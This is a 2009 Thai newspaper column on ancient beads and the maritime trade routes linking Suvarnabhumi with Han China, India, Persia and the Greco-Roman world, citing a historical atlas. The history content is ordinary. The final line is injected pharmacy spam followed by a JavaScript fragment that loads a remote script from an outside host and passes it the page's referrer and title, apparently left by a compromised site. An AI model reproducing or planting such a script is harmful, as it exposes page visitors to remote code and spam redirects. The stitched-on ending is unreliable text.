หนังสือพิมพ์มติชน ฉบับประจำวันพุธที่ 18 มีนาคม 2552

“ ‘ลูกปัด’อย่างเดียวไม่ได้มีคุณค่าทางวิชาการอะไรเลย ถ้าขาดเนื้อหาและข้อมูลแวดล้อมจากจุดที่พบลูกปัดนั้นๆ

ทันทีที่โบราณวัตถุถูกย้ายที่ มันก็เป็นแค่วัตถุธรรมดาให้นักสะสมฮือฮาเล่นๆ —แล้วสร้างมูลค่ากันไปในวงการค้าโบราณวัตถุ” (จุดประกายวัฒนธรรม ใน กรุงเทพธุรกิจ ฉบับวันพฤหัสบดีที่ 12 มีนาคม 2552 หน้า 8 )

ข่าววันเดียวกัน รัฐมนตรีกระทรวงวัฒนธรรม มอบหมายให้ปลัดกระทรวงวัฒนธรรมกับอธิบดีกรมศิลปากรร่วมกันดำเนินการศึกษาวิชาความรู้จากลูกปัดว่า

“ศึกษาเกี่ยวกับเส้นทางการค้าขายทางทะเลในอดีต ตั้งแต่ทะเลฝั่งอันดามันถึงอ่าวไทย ว่าการขุดพบลูกปัดในภาคใต้และกระจายในจังหวัดต่างๆเป็นได้หรือไม่ที่จะใช้เรื่องลูกปัดในการเล่าเรื่องราวเส้นทางการค้าขายโบราณวัตถุทั้งทางน้ำและทางบกในอดีตได้”

ลูกปัดมี  2 อย่าง คือลูกปัดทำเองในสุรรณภูมิ กับลูกปัดทำจากที่อื่น มาจากที่อื่น เช่น จากตะวันออกกลาง, กรีก-โรมัน, ฯลฯ มีอายุราว 2,000 ปีมาแล้ว

ลูกปัดจากที่อื่นนี่แหละเป็นพยานหลักฐานว่าดินแดนประเทศไทยทุกวันนี้ ราว 2,000 ปีมาแล้ว อยู่บนเส้นทางการค้าโลก, เป็นส่วนหนึ่งของการค้าโลก, และเป็นดินแดนเชื่อมโยงโลกตะวันตกกับโลกตะวันออกเข้าด้วยกัน โดยผ่านทะเลอันดามันกับทะเลจีนอ่าวไทย

การค้าโลกช่วงเวลาราว 2,000 ปีมาแล้ว เกี่ยวข้องกับฮั่น(จีน), อินเดีย, เปอร์เซีย(อิหร่าน) อาหรับ(อิรัก) ตะวันออกกลาง, กรีก-โรมัน, ฯลฯ โดยมีสุวรรณภูมิในดินแดนสยามประเทศไทยเป็นสะพานเชื่อมโยง

จะขอคัดเกร็ดประวัติศาสตร์ช่วงเวลานี้จากท้ายเล่มหนังสือแผนที่ประวัติศาสตร์ และแผนที่วัฒนธรรม ของ(สยาม)ประเทศไทย จัดพิมพ์โดยกองทุนเผยแพร่ความรู้สู่สาธารณะ (Knowledge Dissemination) แสดงการขยายของการค้าโลกมาให้อ่านดังนี้

ชาวฮั่นขยายลงทางใต้ถึงลุ่มน้ำแยงซี ทำให้เกิดเส้นทางคมนาคมระหว่างเหนือ-ใต้
ทางลุ่มน้ำแยงซีเป็นหลักแหล่งของคนพื้นเมืองที่ไม่ใช่ฮั่น ชาวฮั่น จีนเรียกว่า เย่ว์ หมายถึงคนป่าเถื่อน มีหลายพวกอยู่ปนกัน มีภาษาพูดหลากหลาย เช่น ม้ง-เย้า, มอญ-เขมร, ไทย-ลาว ฯลฯ มีความรู้ก้าวหน้าทางเทคโนโลยีหลอมสัมฤทธิ์ที่ไม่มีในพวกฮั่น นั่นคือกลองสัมฤทธิ์

เย่ว์ เขียนรูปอักษรเดียวกับคำว่า เหยียะ ที่รู้กันทั่วไปในชื่อว่าเวียดของประเทศเวียดนาม

อเล็กซานเดรีย (Alexandria) ตั้งอยู่ทางเหนือของอียิปต์และติดทะเลเมดิเตอร์     เรเนียน เป็นเมืองท่าที่พระเจ้าอเล็กซานเดอร์สร้างขึ้นราว พ.ศ. 211 ใช้เป็นท่าเรือเดินทะเลติดต่อถึงสุวรรณภูมิ

พระเจ้าอโศก(พ.ศ. 184-255) เริ่มครองราชย์ พ.ศ. 214 (หรือ พ.ศ. 218) ยาตราทัพรุกรานกลิงคราษฎร์(อินเดียทางใต้) ได้ชัยชนะ แต่มีคนล้มตายมาก          มีศรัทธาในพระพุทธศาสนา เริ่มสร้างสถูปทางพุทธศาสนาและรูปสัญลักษณ์ เช่น ธรรมจักร แต่ยังไม่สร้างพระพุทธรูป ส่งคณะธรรมทูตออกเผยแผ่พุทธศาสนา 9 ทิศทาง มีทิศทางหนึ่งมาถึงสุวรรณภูมิ

map

(บน) แผนที่แสดงเส้นทางโลกตะวันตกพบกับโลกตะวันออก บริเวณคาบสมุทรสุวรรณภูมิอยู่ทางภาคใต้ของประเทศไทย (ล่าง) แผนที่แสดงชุมชนบ้านเมืองบางแห่งที่สำคัญในดินแดนประเทศไทย ที่เป็นผลจากการค้าโลกราว 2,000 ปีมาแล้ว
หมายเหตุ ตำแหน่งสีต่างๆ ล้วนกำหนดอย่างกว้างๆในแผนที่เพื่อให้ดูง่ายๆ เข้าใจง่ายๆ แต่ในความจริงของยุคนั้นๆอาจต่างไป หรือทับซ้อนอยู่ด้วยกันอย่างแยกชัดเจนเหมือนแผนที่แผ่นนี้ไม่ได้ ฉะนั้นต้องเข้าใจร่วมกันว่าการลงสีเป็นเรื่องสมมุติเท่านั้น ส่วนความจริงเป็นอย่างไรต้องเปลี่ยนแปลงตามหลักฐานได้เสมอ
(จากหนังสือ แผนที่ประวัติศาสตร์และแผนที่วัฒนธรรมของ(สยาม)ประเทศไทย โดย สุจิตต์ วงษ์เทศ พิมพ์ครั้งที่ 2 เมื่อ พ.ศ. 2551)

fluoxetine metabolism cialis generic s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;